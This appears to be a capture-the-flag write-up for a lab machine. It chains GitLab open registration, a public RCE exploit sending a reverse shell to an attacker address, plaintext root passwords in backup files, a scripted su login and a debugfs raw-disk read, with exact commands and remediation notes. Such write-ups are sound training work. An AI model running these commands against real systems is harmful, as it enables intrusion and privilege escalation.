Ready
Summary
Target ready ($TARGET) was fully compromised via a three-stage chain. An nginx-fronted GitLab Community Edition 11.4.7 instance permitted open self-registration with no admin approval, giving any visitor the authenticated session required to trigger a known remote-code-execution vulnerability (CVE-2018-19571 / CVE-2018-19585). A reverse shell arrived as the unprivileged 'git' service account inside a Dockerized GitLab container.
World-readable backup configuration files in /opt/backup/ stored the host's root account password in plaintext; a PTY-wrapped su session used it to become root inside the container. Because the container's root identity could not override host-side volume-mount ownership, I used the debugfs utility against the exposed underlying block device (/dev/sda2) to read the host root flag directly from the raw filesystem, bypassing Linux permission checks entirely.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,5080 --script=http-title,http-headers $TARGETcurl -s http://$TARGET:5080/api/v4/versionExact commands 2
curl -s -o /dev/null -w '%{http_code}' http://$TARGET:5080/users/sign_upcurl -s -c gl_cookies.txt -X POST http://$TARGET:5080/users -d "user[name]=$USERNAME&user[username]=$USERNAME&user[email]=$USERNAME@local.dev&user[password]=$PASSWORD2&user[password_confirmation]=$PASSWORD2"FixDisable or gate GitLab open self-registrationHigh
Exact commands 3
nc -lvnp 4444searchsploit -m 49334python3 49334.py -u '<reg_user>' -p '<reg_pass>' -g "http://$TARGET:5080" -l "$ATTACKER_IP" -P 4444FixUpgrade GitLab CE to a patched release (remediates CVE-2018-19571 / CVE-2018-19585)Critical
Exact commands 2
id && ls /.dockerenv && cat /proc/1/cgroup | head -5cat /home/dude/user.txtExact commands 2
ls -la /opt/backup/grep -RniE 'password|passwd|secret' /opt/backup/gitlab.rb /opt/backup/docker-compose.ymlFixRemove plaintext credentials from backup files and lock down their permissionsCritical
Exact commands 1
python3 -c "import os,pty,select,time
pw=b'$PASSWORD\n'
pid,fd=pty.fork()
if pid==0: os.execlp('su','su','-')
buf,sent,end=b'',False,time.time()+12
while time.time()<end:
r,_,_=select.select([fd],[],[],0.2)
if fd in r:
buf+=os.read(fd,512)
if not sent and b'Password' in buf: os.write(fd,pw);sent=True
if sent and b'root@' in buf: os.write(fd,b'id\n');break"Exact commands 2
grep sda /proc/self/mountinfodebugfs -R 'cat /root/root.txt' /dev/sda2 2>/dev/nullFixBlock container access to host block devices to prevent raw-disk readsCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 5080/tcp | http nginx |